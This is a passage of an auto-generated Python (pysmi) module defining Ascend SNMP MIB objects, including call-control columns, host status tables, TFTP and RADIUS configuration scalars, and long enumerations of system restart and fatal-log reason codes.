Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("valid", 1), ("notValid", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: doHangUp.setStatus('mandatory') doAnswer = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("valid", 1), ("notValid", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: doAnswer.setStatus('mandatory') doExtendBW = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("valid", 1), ("notValid", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: doExtendBW.setStatus('mandatory') doContractBW = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("valid", 1), ("notValid", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: doContractBW.setStatus('mandatory') doBegEndRemoteLB = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 8), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("valid", 1), ("notValid", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: doBegEndRemoteLB.setStatus('mandatory') doBegEndBERT = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 9), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("valid", 1), ("notValid", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: doBegEndBERT.setStatus('mandatory') doResynchronize = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 10), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("valid", 1), ("notValid", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: doResynchronize.setStatus('mandatory') hostStatusTable = MibTable((1, 3, 6, 1, 4, 1, 529, 7, 1), ) if mibBuilder.loadTexts: hostStatusTable.setStatus('mandatory') hostStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 529, 7, 1, 1), ).setIndexNames((0, "ASCEND-MIB", "hostStatusSlotIndex"), (0, "ASCEND-MIB", "hostStatusItemIndex")) if mibBuilder.loadTexts: hostStatusEntry.setStatus('mandatory') hostStatusSlotIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: hostStatusSlotIndex.setStatus('mandatory') hostStatusItemIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: hostStatusItemIndex.setStatus('mandatory') hostStatusLocalName = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 3), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: hostStatusLocalName.setStatus('mandatory') hostStatusDialNum = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 4), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: hostStatusDialNum.setStatus('mandatory') hostStatusCallType = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7))).clone(namedValues=NamedValues(("aim", 1), ("bonding", 2), ("one-channel", 3), ("two-channel", 4), ("ft1", 5), ("ft1Aim", 6), ("ft1BandO", 7)))).setMaxAccess("readonly") if mibBuilder.loadTexts: hostStatusCallType.setStatus('mandatory') hostStatusCallMgm = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11))).clone(namedValues=NamedValues(("none", 1), ("manual", 2), ("static", 3), ("dynamic", 4), ("delta", 5), ("one-of-8", 6), ("one-of-40", 7), ("mode1", 8), ("mode2", 9), ("mode3", 10), ("mode0", 11)))).setMaxAccess("readonly") if mibBuilder.loadTexts: hostStatusCallMgm.setStatus('mandatory') hostStatusDataSvc = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57))).clone(namedValues=NamedValues(("serviceVoice", 1), ("service56KR", 2), ("service56K", 3), ("service64K", 4), ("service384KR", 5), ("service384K-H0", 6), ("service1536K", 7), ("service1536KR", 8), ("service128K", 9), ("service192K", 10), ("service256K", 11), ("service320K", 12), ("service384K", 13), ("service448K", 14), ("service512K", 15), ("service576K", 16), ("service640K", 17), ("service704K", 18), ("service768K", 19), ("service832K", 20), ("service896K", 21), ("service960K", 22), ("service1024K", 23), ("service1088K", 24), ("service1152K", 25), ("service1216K", 26), ("service1280K", 27), ("service1344K", 28), ("service1408K", 29), ("service1472K", 30), ("service1600K", 31), ("service1664K", 32), ("service1728K", 33), ("service1792K", 34), ("service1856K", 35), ("service1920K", 36), ("serviceModem", 37), ("serviceV110-24-56K", 38), ("serviceV110-48-56K", 39), ("serviceV110-96-56K", 40), ("serviceV110-192-56K", 41), ("serviceV110-384-56K", 42), ("serviceV110-24-56KR", 43), ("serviceV110-48-56KR", 44), ("serviceV110-96-56KR", 45), ("serviceV110-192-56KR", 46), ("serviceV110-384-56KR", 47), ("serviceV110-24-64K", 48), ("serviceV110-48-64K", 49), ("serviceV110-96-64K", 50), ("serviceV110-192-64K", 51), ("serviceV110-384-64K", 52), ("serviceV110-24-64KR", 53), ("serviceV110-48-64KR", 54), ("serviceV110-96-64KR", 55), ("serviceV110-192-64KR", 56), ("serviceV110-384-64KR", 57)))).setMaxAccess("readonly") if mibBuilder.loadTexts: hostStatusDataSvc.setStatus('mandatory') hostStatusCallState = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 8), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17))).clone(namedValues=NamedValues(("other", 1), ("answering", 2), ("calling", 3), ("clearing", 4), ("localLoop", 5), ("handshake", 6), ("idle", 7), ("online", 8), ("loopMast", 9), ("loopSlav", 10), ("bertMast", 11), ("bertSlav", 12), ("remoteMg", 13), ("ringing", 14), ("setupAdd", 15), ("setupHnd", 16), ("setupRem", 17)))).setMaxAccess("readonly") if mibBuilder.loadTexts: hostStatusCallState.setStatus('mandatory') hostStatusRemName = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 9), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: hostStatusRemName.setStatus('mandatory') hostStatusChannels = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 10), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: hostStatusChannels.setStatus('mandatory') hostStatusDuration = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 11), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: hostStatusDuration.setStatus('mandatory') consoleNumber = MibScalar((1, 3, 6, 1, 4, 1, 529, 8, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: consoleNumber.setStatus('mandatory') consoleTable = MibTable((1, 3, 6, 1, 4, 1, 529, 8, 2), ) if mibBuilder.loadTexts: consoleTable.setStatus('mandatory') consoleEntry = MibTableRow((1, 3, 6, 1, 4, 1, 529, 8, 2, 1), ).setIndexNames((0, "ASCEND-MIB", "consoleIndex")) if mibBuilder.loadTexts: consoleEntry.setStatus('mandatory') consoleIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 8, 2, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: consoleIndex.setStatus('mandatory') consoleIf = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 8, 2, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: consoleIf.setStatus('mandatory') consoleType = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 8, 2, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6))).clone(namedValues=NamedValues(("other", 1), ("primary", 2), ("secondary", 3), ("palmtop", 4), ("inactive", 5), ("remote", 6)))).setMaxAccess("readonly") if mibBuilder.loadTexts: consoleType.setStatus('mandatory') consoleSecurity = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 8, 2, 1, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: consoleSecurity.setStatus('mandatory') consoleSpecific = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 8, 2, 1, 5), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: consoleSpecific.setStatus('mandatory') sysAbsoluteStartupTime = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: sysAbsoluteStartupTime.setStatus('mandatory') sysSecsSinceStartup = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: sysSecsSinceStartup.setStatus('mandatory') sysMibVersionNum = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: sysMibVersionNum.setStatus('mandatory') sysMibMinorRevNum = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: sysMibMinorRevNum.setStatus('mandatory') sysConfigTftp = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 9, 5)) sysConfigTftpCmd = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 5, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8))).clone(namedValues=NamedValues(("save", 1), ("restore", 2), ("saveAll", 3), ("saveMib", 4), ("saveAllMib", 5), ("loadCode", 6), ("saveIncProf", 7), ("saveExcProf", 8)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: sysConfigTftpCmd.setStatus('mandatory') sysConfigTftpStatus = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 5, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17))).clone(namedValues=NamedValues(("ok", 1), ("notFound", 2), ("access", 3), ("noSpace", 4), ("badOp", 5), ("badTid", 6), ("exists", 7), ("noSuchUser", 8), ("parameter", 9), ("busy", 10), ("noResources", 11), ("timeout", 12), ("unrecoverable", 13), ("tooManyRetries", 14), ("createFile", 15), ("openFile", 16), ("inProgress", 17)))).setMaxAccess("readonly") if mibBuilder.loadTexts: sysConfigTftpStatus.setStatus('mandatory') sysConfigTftpHostAddr = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 5, 3), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: sysConfigTftpHostAddr.setStatus('mandatory') sysConfigTftpFilename = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 5, 4), DisplayString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: sysConfigTftpFilename.setStatus('mandatory') sysConfigTftpPort = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 5, 5), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: sysConfigTftpPort.setStatus('mandatory') sysConfigTftpParameter = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 5, 6), DisplayString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: sysConfigTftpParameter.setStatus('mandatory') sysConfigRadius = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 9, 6)) sysConfigRadiusCmd = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 6, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6))).clone(namedValues=NamedValues(("all", 1), ("routes", 2), ("pools", 3), ("nailed", 4), ("termsrv", 5), ("source", 6)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: sysConfigRadiusCmd.setStatus('mandatory') sysConfigRadiusStatus = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 6, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("init", 1), ("processing", 2), ("timeout", 3), ("error", 4), ("complete", 5)))).setMaxAccess("readonly") if mibBuilder.loadTexts: sysConfigRadiusStatus.setStatus('mandatory') sysAbsoluteCurrentTime = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 7), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: sysAbsoluteCurrentTime.setStatus('mandatory') sysReset = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 8), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("no-op", 1), ("reset", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: sysReset.setStatus('mandatory') sysLoadName = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 9), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: sysLoadName.setStatus('mandatory') sysAuthPreference = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 10), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("no-op", 1), ("local-first", 2), ("remote-first", 3), ("remote-no", 4)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: sysAuthPreference.setStatus('mandatory') sysSPROM = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 9, 11)) sysSPROMSerialNumber = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 11, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: sysSPROMSerialNumber.setStatus('mandatory') sysSPROMOptions1 = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 11, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: sysSPROMOptions1.setStatus('mandatory') sysSPROMOptions2 = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 11, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: sysSPROMOptions2.setStatus('mandatory') sysSPROMCountries1 = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 11, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: sysSPROMCountries1.setStatus('mandatory') resetStat = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 9, 12)) resetStatEther = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 12, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: resetStatEther.setStatus('mandatory') resetStatWAN = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 12, 2), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: resetStatWAN.setStatus('mandatory') resetStatAll = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 12, 3), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: resetStatAll.setStatus('mandatory') sysLastRestartReason = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 13), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 55, 60, 61, 62, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 129, 130, 131, 135, 136, 140, 145, 146, 150, 151, 152, 153, 154, 160, 161, 165, 170, 171, 175, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 190, 191, 192, 193, 194, 195, 196, 197, 198, 200, 201, 210, 211, 220, 221, 300, 301, 302, 303, 304, 305, 306, 309, 310, 311, 312, 313, 314, 320, 321, 330, 381, 382, 383, 384, 385, 400, 550, 512, 767, 768, 800, 801, 999, 1001, 1002, 1003, 1005, 1006, 1007, 2001, 2002, 2010, 2022, 2100, 2101, 3001, 3002, 3003, 4000, 4100, 9998, 9999))).clone(namedValues=NamedValues(("fatalAssert", 1), ("fatalPoolsNoBuffer", 2), ("fatalProfileBad", 3), ("fatalSwitchTypeBad", 4), ("fatalLif", 5), ("fatalLcdError", 6), ("fatalIsacTimeout", 7), ("fatalSCCSpuriousInterrupt", 8), ("fatalExecInvalidSwitch", 9), ("fatalExecNoMailDesc", 10), ("fatalExecNoMailPoll", 11), ("fatalExecNoTask", 12), ("fatalExecNoTimer", 13), ("fataExecNoTimerPool", 14), ("fatalExecWaitInCtricalSection", 15), ("fatalDspDead", 16), ("fatalDspProtocolError", 17), ("fatalDspInternalError", 18), ("fatalDspLossOfSync", 19), ("fatalDspUnUsed", 20), ("fatalDDDDead", 21), ("fatalDDDProtocolError", 22), ("fatalX25Buffers", 23), ("fatalX25Init", 24), ("fatalX25Stack", 25), ("fatalZeroMemoryAlloc", 27), ("fatalNegativeMemoryAllocate", 28), ("fatalTaskLoop", 29), ("fatalMemcpyTooLarge", 30), ("fatalMemcpyNoMagic", 31), ("fatalMemcpyWrongMagic", 32), ("fatalMemcoyBadStart", 33), ("fatalIDECTimeout", 34), ("fatalExecRestricted", 35), ("fatalStackOverflow", 36), ("fatalDRAMCard", 37), ("fatalMbufPanic", 38), ("fatalNoPriority2Task", 39), ("fatalProtectionFault", 40), ("fatalClipping", 41), ("fatalReadyHangFault", 42), ("fatalExcessPostCompl", 43), ("fatalWriteProtect", 44), ("fatalPureVirtual", 45), ("fatalATMSVC", 46), ("fatalFRSVC", 47), ("fatalInterruptCode", 48), ("fatalLinkedListCorruption", 55), ("fatalBadPower", 60), ("fatalWatchdogTimeout", 61), ("fatalUnexplainedNMI", 62), ("fatalPrimarySelected", 98), ("fatalOperatorReset", 99), ("fatalSystemUp", 100), ("warningBufferInUse", 101), ("warningBufferWrongPool", 102), ("warningBufferWrongHeap", 103), ("warningBufferNotMemAlloc", 104), ("warningBufferBadMemAlloc", 105), ("warningBufferBogusPool", 106), ("warningBufferBogusHeap", 107), ("warningBufferNegativeMemalloc", 108), ("warningBufferZeroMemalloc", 109), ("warningBufferBoundary", 110), ("warningBufferTooBig", 111), ("warningBufferNull", 112), ("warningBufferSegmentCountZero", 113), ("warningBufferTrailerMagic", 114), ("warningBufferTrailerBuffer", 115), ("warningBufferTrailerLength", 116), ("warningBufferTrailerUserMagic", 117), ("warningBufferWriteAfterFree", 118), ("warningBufferNotInUse", 119), ("warningBufferMemcpyMagic", 120), ("warningBufferMemcpyMagicNext", 121), ("warningBufferNoExtraDRAM", 129), ("errprPPPAsuncBufferInUse", 130), ("warningIpcpIpLookup", 131), ("warningBadChunk", 135), ("warningUnexpectedIF", 136), ("warningNoTimers", 140), ("warningLCDAllocFailure", 145), ("warningLCDNonSense", 146), ("warningMemcpyTooLarge", 150), ("warningMemcpyNoMagic", 151), ("warningMemcpyWrongMagic", 152), ("warningMemcpyBadStart", 153), ("warningWANBufferLeak", 154), ("warningTermSrvState", 160), ("warningTermSrvSemaphore", 161), ("warningTelnetFreeDrv", 165), ("warningSTACTimeout", 170), ("warningSTACDataNotOwned", 171), ("warningExecFailure", 175), ("warningExecNoMailbox", 177), ("warningExecNoResources", 178), ("warningUnexpected", 179), ("warningChannelMapStuck", 180), ("warningChannelDisplayStuck", 181), ("warningNewCallNoDiscRequest", 182), ("warningNewCallNoDiscResp", 183), ("warningDisconnectRequestDropped", 184), ("warningSpyderBuffer", 185), ("warningSpyderDesc", 186), ("warningSpyderLoseChannel", 187), ("warningHscxSlowRelay", 188), ("warningTcpSbcontTooBig", 190), ("warningTcpSequenceGap", 191), ("warningTcpTooMuchData", 192), ("warningTcpTooMuchWrite", 193), ("warningTcpBadOptions", 194), ("warningLmodSlotDown", 195), ("warningLmodDspDown", 196), ("warningLmodDspmodemDown", 197), ("warningTcpXmitLooping", 198), ("warningOspfFatal", 200), ("warningOspfWarn", 201), ("warningBriJumperNotPresent", 210), ("warningBriJumperConfiguration", 211), ("infoCardBounced", 220), ("infoCardDown", 221), ("warningTacacsplusBase", 300), ("warningTacacsplusPointerInconsistency", 301), ("warningTacacsplusIndexInconsistency", 302), ("warningTacacsplusTcpInconsistency", 303), ("warningTacacsplusTcpOutofrangesocket", 304), ("warningTacacsplusSocketMismatch", 305), ("warningTacacsplusUnexpectedAuthState", 306), ("warningTacacsplusMax", 309), ("warningCidrWrongTree", 310), ("warningCidrNoMem", 311), ("warningCidrBusy", 312), ("warningCidrNonempty", 313), ("warningCidrDupDelete", 314), ("warningSauthWrongInfo", 320), ("warningSauthBadAddr", 321), ("warningGdbProtectionFault", 330), ("warningInFilterList", 381), ("warningNoCountInFilterList", 382), ("warningMismatchCountFilterList", 383), ("warningCdtUnprotectedAccess", 384), ("infoSystemResetOccurred", 385), ("warningBadPowerSupply", 400), ("warningEthernetNoTxBuf", 550), ("warningDspCrashMin", 512), ("warningDspCrashMax", 767), ("warningDspWrongSlot", 768), ("warningUnalignedAccess", 800), ("warningH323NoResources", 801), ("warningExecRestricted", 999), ("warningEthernetCuBusy", 1001), ("warningEthernetAckFailure", 1002), ("warningEthernetReset", 1003), ("warningEthernetCuActive", 1005), ("warningEthernetWaitScb", 1006), ("warningEthernetNoMACAddress", 1007), ("warningBaeepromChange", 2001), ("warningBaeepromImageMismatch", 2002), ("warningFlashTypeBad", 2010), ("warningMaxiopLoadFailure", 2022), ("warningPrimaryHWsetupFailed", 2100), ("warningSecondaryHWsetupFailed", 2101), ("warningIpxsapFilterMagic", 3001), ("warningIpxsapFilterCountZero", 3002), ("warningIpxsapFilterCountMismatch", 3003), ("warningModemTxChannelStuck", 4000), ("warningModemTxChannelRecovered", 4100), ("notApplicable", 9998), ("unknown", 9999)))).setMaxAccess("readonly") if mibBuilder.loadTexts: sysLastRestartReason.setStatus('mandatory') sysConfigChange = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 14), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: sysConfigChange.setStatus('mandatory') sysConfigFlash = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 9, 15)) fatalLogTable = MibTable((1, 3, 6, 1, 4, 1, 529, 9, 16), ) if mibBuilder.loadTexts: fatalLogTable.setStatus('mandatory') fatalLogTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 529, 9, 16, 1), ).setIndexNames((0, "ASCEND-MIB", "fatalLogIndex")) if mibBuilder.loadTexts: fatalLogTableEntry.setStatus('mandatory') fatalLogIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 9, 16, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: fatalLogIndex.setStatus('mandatory') fatalLogSlotIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 9, 16, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: fatalLogSlotIndex.setStatus('mandatory') fatalLogSoftwareVerion = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 9, 16, 1, 3), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: fatalLogSoftwareVerion.setStatus('mandatory') fatalLogUserprofile = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 9, 16, 1, 4), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: fatalLogUserprofile.setStatus('mandatory') fatalLogLoadName = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 9, 16, 1, 5), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: fatalLogLoadName.setStatus('mandatory') fatalLogLocation = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 9, 16, 1, 6), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: fatalLogLocation.setStatus('mandatory') fatalLogReason = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 9, 16, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 55, 60, 61, 62, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 129, 130, 131, 135, 136, 140, 145, 146, 150, 151, 152, 153, 154, 160, 161, 165, 170, 171, 175, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 190, 191, 192, 193, 194, 195, 196, 197, 198, 200, 201, 210, 211, 220, 221, 300, 301, 302, 303, 304, 305, 306, 309, 310, 311, 312, 313, 314, 320, 321, 330, 381, 382, 383, 384, 385, 400, 550, 512, 767, 768, 800, 801, 999, 1001, 1002, 1003, 1005, 1006, 1007, 2001, 2002, 2010, 2022, 2100, 2101, 3001, 3002, 3003, 4000, 4100, 9998, 9999))).clone(namedValues=NamedValues(("fatalAssert", 1), ("fatalPoolsNoBuffer", 2), ("fatalProfileBad", 3), ("fatalSwitchTypeBad", 4), ("fatalLif", 5), ("fatalLcdError", 6), ("fatalIsacTimeout", 7), ("fatalSCCSpuriousInterrupt", 8), ("fatalExecInvalidSwitch", 9), ("fatalExecNoMailDesc", 10), ("fatalExecNoMailPoll", 11), ("fatalExecNoTask", 12), ("fatalExecNoTimer", 13), ("fataExecNoTimerPool", 14), ("fatalExecWaitInCtricalSection", 15), ("fatalDspDead", 16), ("fatalDspProtocolError", 17), ("fatalDspInternalError", 18), ("fatalDspLossOfSync", 19), ("fatalDspUnUsed", 20), ("fatalDDDDead", 21), ("fatalDDDProtocolError", 22), ("fatalX25Buffers", 23), ("fatalX25Init", 24), ("fatalX25Stack", 25), ("fatalZeroMemoryAlloc", 27), ("fatalNegativeMemoryAllocate", 28), ("fatalTaskLoop", 29), ("fatalMemcpyTooLarge", 30), ("fatalMemcpyNoMagic", 31), ("fatalMemcpyWrongMagic", 32), ("fatalMemcoyBadStart", 33), ("fatalIDECTimeout", 34), ("fatalExecRestricted", 35), ("fatalStackOverflow", 36), ("fatalDRAMCard", 37), ("fatalMbufPanic", 38), ("fatalNoPriority2Task", 39), ("fatalProtectionFault", 40), ("fatalClipping", 41), ("fatalReadyHangFault", 42), ("fatalExcessPostCompl", 43), ("fatalWriteProtect", 44), ("fatalPureVirtual", 45), ("fatalATMSVC", 46), ("fatalFRSVC", 47), ("fatalInterruptCode", 48), ("fatalLinkedListCorruption", 55), ("fatalBadPower", 60), ("fatalWatchdogTimeout", 61), ("fatalUnexplainedNMI", 62), ("fatalPrimarySelected", 98), ("fatalOperatorReset", 99), ("fatalSystemUp", 100), ("warningBufferInUse", 101), ("warningBufferWrongPool", 102), ("warningBufferWrongHeap", 103), ("warningBufferNotMemAlloc", 104), ("warningBufferBadMemAlloc", 105), ("warningBufferBogusPool", 106), ("warningBufferBogusHeap", 107), ("warningBufferNegativeMemalloc", 108), ("warningBufferZeroMemalloc", 109), ("warningBufferBoundary", 110), ("warningBufferTooBig", 111), ("warningBufferNull", 112), ("warningBufferSegmentCountZero", 113), ("warningBufferTrailerMagic", 114), ("warningBufferTrailerBuffer", 115), ("warningBufferTrailerLength", 116), ("warningBufferTrailerUserMagic", 117), ("warningBufferWriteAfterFree", 118), ("warningBufferNotInUse", 119), ("warningBufferMemcpyMagic", 120), ("warningBufferMemcpyMagicNext", 121), ("warningBufferNoExtraDRAM", 129), ("errprPPPAsuncBufferInUse", 130), ("warningIpcpIpLookup", 131), ("warningBadChunk", 135), ("warningUnexpectedIF", 136), ("warningNoTimers", 140), ("warningLCDAllocFailure", 145), ("warningLCDNonSense", 146), ("warningMemcpyTooLarge", 150), ("warningMemcpyNoMagic", 151), ("warningMemcpyWrongMagic", 152), ("warningMemcpyBadStart", 153), ("warningWANBufferLeak", 154), ("warningTermSrvState", 160), ("warningTermSrvSemaphore", 161), ("warningTelnetFreeDrv", 165), ("warningSTACTimeout", 170), ("warningSTACDataNotOwned", 171), ("warningExecFailure", 175), ("warningExecNoMailbox", 177), ("warningExecNoResources", 178), ("warningUnexpected", 179), ("warningChannelMapStuck", 180), ("warningChannelDisplayStuck", 181), ("warningNewCallNoDiscRequest", 182), ("warningNewCallNoDiscResp", 183), ("warningDisconnectRequestDropped", 184), ("warningSpyderBuffer", 185), ("warningSpyderDesc", 186), ("warningSpyderLoseChannel", 187), ("warningHscxSlowRelay", 188), ("warningTcpSbcontTooBig", 190), ("warningTcpSequenceGap", 191), ("warningTcpTooMuchData", 192), ("warningTcpTooMuchWrite", 193), ("warningTcpBadOptions", 194), ("warningLmodSlotDown", 195), ("warningLmodDspDown", 196), ("warningLmodDspmodemDown", 